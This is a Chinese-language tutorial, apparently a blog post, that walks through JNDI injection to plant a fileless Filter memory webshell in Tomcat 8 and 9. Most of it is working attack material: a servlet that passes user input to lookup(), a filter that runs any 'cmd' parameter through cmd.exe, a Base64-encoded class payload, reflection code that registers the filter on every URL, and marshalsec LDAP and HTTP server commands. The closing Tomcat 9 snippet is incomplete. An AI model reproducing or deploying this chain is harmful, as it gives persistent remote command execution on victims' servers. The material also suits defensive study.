JNDI注入

通过JNDI可以使服务器远程下载类文件动态加载对象,如果该类文件是一个恶意的类对象,则可以达到无文件注入内存马的目的


注入原理

JNDI(Java Naming and Directory Interface)Java 命名与目录接口,是 Java 平台的一个 API。JNDI 允许将资源(如数据库连接、Java 对象)存储在命名服务中。为了存储自定义对象,JNDI 引入了 Reference 类,当客户端调用 lookup() 查询一个 Reference 对象时,如果本地 classpath 找不到该类,Java 就会根据 ClassFactoryLocation 指定的 URL 去远程下载这个 .class 文件。攻击者通过控制 JNDI 查询的地址,诱导服务器从远程恶意服务器加载并实例化一个恶意 Java 类,从而实现远程代码执行(RCE)


JNDI注入内存马

接下来尝试使用JNDI注入Filter内存马

首先需要一个受害端,该端需要能够调用lookup()方法去加载ldap协议地址,我简单改了Tomcat默认的初始页面,使其能够接收一个name参数并查询

@WebServlet(name = "helloServlet", value = "/hello-servlet")
public class HelloServlet extends HttpServlet {
private String message;

public void init() {
message = "Hello World!";
}

public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setContentType("text/html");

String name = request.getParameter("name");
if (name != null) {
try{
InitialContext context = new InitialContext();
context.lookup(name);
response.setContentType("text/html");
} catch (NamingException e) {
throw new RuntimeException(e);
}
}


PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("<h1>" + message + "</h1>");
out.println("</body></html>");
}

public void destroy() {
}
}

由于JNDI一次只能加载并实例化一次类对象,在这个对象中,我们需要获取StandardContext,并将恶意Filter注册进去,所以在无参构造方法中,我们还需要将恶意Filter动态加载出来

构建恶意Filter类

public class FilterShell implements Filter {

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
String cmd = req.getParameter("cmd");
if (cmd != null) {
StringBuilder output = new StringBuilder();
ProcessBuilder processBuilder;
processBuilder = new ProcessBuilder("cmd.exe", "/c", cmd);
try {
Process process = processBuilder.start();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
} catch (IOException e) {
throw new RuntimeException(e);
}
res.setContentType("text/html;charset=UTF-8");
res.getWriter().println(output);
} else {
chain.doFilter(req, res);
}
}

@Override
public void destroy() {
}
}

将其该类导出为Base64字符串,便于在无参构造方法中还原并加载

public class Dump {
public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get("FilterShell");
byte[] bytes = cc.toBytecode();

String encode = Base64.getEncoder().encodeToString(bytes);
System.out.println(encode);
}
}

由于JNDI注入时拿不到RequestResponse对象,我们需要另一个方法获取StandarContext,对于Tomcat8.0版本,可以使用以下获取

WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardRoot standardRoot = (StandardRoot) webappClassLoaderBase.getResources();
StandardContext standardContext = (StandardContext) standardRoot.getContext();

受害端加载的类对象如下

public class InjectClass {

public InjectClass() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, NoSuchFieldException {

WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardRoot standardRoot = (StandardRoot) webappClassLoaderBase.getResources();
StandardContext standardContext = (StandardContext) standardRoot.getContext();

String sourceCode = "yv66vgAAADQAiwoAHQBPCABACwBQAFEHAFIKAAQATwcAUwcAVAgAVQgAVgoABgBXCgAGAFgHAFkHAFoKAFsAXAoADQBdCgAMAF4KAAwAXwoABABgCABhBwBiBwBjCgAVAGQIAGULAGYAZwsAZgBoCgBpAGoLAGsAbAcAbQcAbgcAbwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQANTEZpbHRlclNoZWxsOwEABGluaXQBAB8oTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOylWAQAMZmlsdGVyQ29uZmlnAQAcTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOwEACkV4Y2VwdGlvbnMHAHABAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAAdwcm9jZXNzAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEABnJlYWRlcgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABGxpbmUBABJMamF2YS9sYW5nL1N0cmluZzsBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQAGb3V0cHV0AQAZTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEADnByb2Nlc3NCdWlsZGVyAQAaTGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcjsBAANyZXEBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAANyZXMBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAFY2hhaW4BABtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjsBAANjbWQBAA1TdGFja01hcFRhYmxlBwBtBwBxBwByBwBzBwBUBwBSBwBTBwB0BwBZBwBiAQAHZGVzdHJveQEAClNvdXJjZUZpbGUBABBGaWx0ZXJTaGVsbC5qYXZhDAAfACAHAHEMAHUAdgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwAHwB3DAB4AHkBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgcAdAwAegB7DAAfAHwMAB8AfQwAfgB/DACAAIEBAAEKAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAfAIIBABd0ZXh0L2h0bWw7Y2hhcnNldD1VVEYtOAcAcgwAgwCEDACFAIYHAIcMAIgAiQcAcwwALACKAQALRmlsdGVyU2hlbGwBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQARamF2YS9sYW5nL1Byb2Nlc3MBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEADnNldENvbnRlbnRUeXBlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL09iamVjdDspVgEAQChMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7KVYAIQAcAB0AAQAeAAAABAABAB8AIAABACEAAAAvAAEAAQAAAAUqtwABsQAAAAIAIgAAAAYAAQAAAAYAIwAAAAwAAQAAAAUAJAAlAAAAAQAmACcAAgAhAAAANQAAAAIAAAABsQAAAAIAIgAAAAYAAQAAAAsAIwAAABYAAgAAAAEAJAAlAAAAAAABACgAKQABACoAAAAEAAEAKwABACwALQACACEAAAGhAAYACgAAAJkrEgK5AAMCADoEGQTGAIS7AARZtwAFOgW7AAZZBr0AB1kDEghTWQQSCVNZBRkEU7cACjoGGQa2AAs6B7sADFm7AA1ZGQe2AA63AA+3ABA6CBkItgARWToJxgATGQUZCbYAEhITtgASV6f/6KcADzoHuwAVWRkHtwAWvywSF7kAGAIALLkAGQEAGQW2ABqnAAstKyy5ABsDALEAAQA0AGsAbgAUAAMAIgAAAEIAEAAAAA8ACgAQAA8AEQAYABMANAAVADsAFgBQABgAWwAZAGsAHQBuABsAcAAcAHoAHgCCAB8AjQAgAJAAIQCYACMAIwAAAHAACwA7ADAALgAvAAcAUAAbADAAMQAIAFgAEwAyADMACQBwAAoANAA1AAcAGAB1ADYANwAFADQAWQA4ADkABgAAAJkAJAAlAAAAAACZADoAOwABAAAAmQA8AD0AAgAAAJkAPgA/AAMACgCPAEAAMwAEAEEAAAAwAAb/AFAACQcAQgcAQwcARAcARQcARgcARwcASAcASQcASgAA+QAaQgcASwv5ABUHACoAAAAGAAIAFAArAAEATAAgAAEAIQAAACsAAAABAAAAAbEAAAACACIAAAAGAAEAAAAnACMAAAAMAAEAAAABACQAJQAAAAEATQAAAAIATg==";
byte[] bytes = Base64.getDecoder().decode(sourceCode);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
Class<?> clazz = (Class<?>) method.invoke(classLoader, bytes, 0, bytes.length);
Filter filterShell = (Filter) clazz.newInstance();

FilterDef filterDef = new FilterDef();
filterDef.setFilterName("FilterShell");
filterDef.setFilter(filterShell);
filterDef.setFilterClass(filterShell.getClass().getName());
standardContext.addFilterDef(filterDef);

Constructor<?> constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);


FilterMap filterMap = new FilterMap();
filterMap.setFilterName("FilterShell");
filterMap.addURLPattern("/*");
standardContext.addFilterMap(filterMap);

Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map<String, ApplicationFilterConfig> filterConfigs = (Map<String, ApplicationFilterConfig>) filterConfigsField.get(standardContext);
filterConfigs.put("FilterShell", filterConfig);

System.out.println("success");
}
}

InjectClass编译为class文件,并托管在服务器上,我们需要在攻击者的服务器上搭建一个ldap服务,可以使用marshalsec.jar进行,在攻击者服务器执行以下

java -Djava.net.preferIPv4Stack=true -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://XXX.XXX.XXX.XXX/#InjectClass" 8080

还需要使用Python搭建一个http服务,用于提供class文件的下载服务

python3 -m http.server 3389

这两个服务中,marshalsec服务运行在8080端口,在受害端使用ldap://XXX.XXX.XXX.XXX:8080/InjectClass尝试访问ldap服务时,marshalsec会将运行http服务的3389端口告诉受害端,受害端从3389端口下载class文件

搭建完成服务后,在受害端的/hello-servlet路由传递name=ldap://XXX.XXX.XXX.XXX:8080/InjectClass参数

服务器能够接收受害端的class的下载请求

image-20260118153131270

受害端的界面:

image-20260118151930268

这个错误不成问题,由于JNDI 规范要求如果一个类作为 ObjectFactory 被引用,它必须实现 javax.naming.spi.ObjectFactory 接口,但是这发生在我们的恶意Filter实例化并注册之后,查看Tomcat的控制台确实打印了success字样

image-20260118151647617

说明我们的内存马成功被受害端远程加载并注册了,在任意界面传入cmd参数,也能够成功执行命令

image-20260118151744484


Tomcat9.0版本获取StandarContext

在前面的tomcat8.0环境下,我们通过调用WebappClassLoaderBasegetResources()方法获取StandardRoot进而获取StandarContext,而在Tomcat9.0版本中,getResources()成为了弃用的方法,默认返回null

@Deprecated
public WebResourceRoot getResources() {
return null;
}

而在Tomcat8.0环境下,该方法返回了resources字段

public WebResourceRoot getResources() {
return this.resources;
}

但其实在Tomcat9.0环境下,WebappClassLoaderBase也是有resources字段的,只不过不再能通过某一个方法直接获取,但是还可以通过反射取得

WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
Class<?> webappClassLoaderBaseClass = webappClassLoaderBase.getClass();
Field resources = webappClassLoaderBaseClass.getDeclaredField("resources");
resources.setAccessible(true);
StandardContext standardContext = (StandardContext) standardRoot.getContext();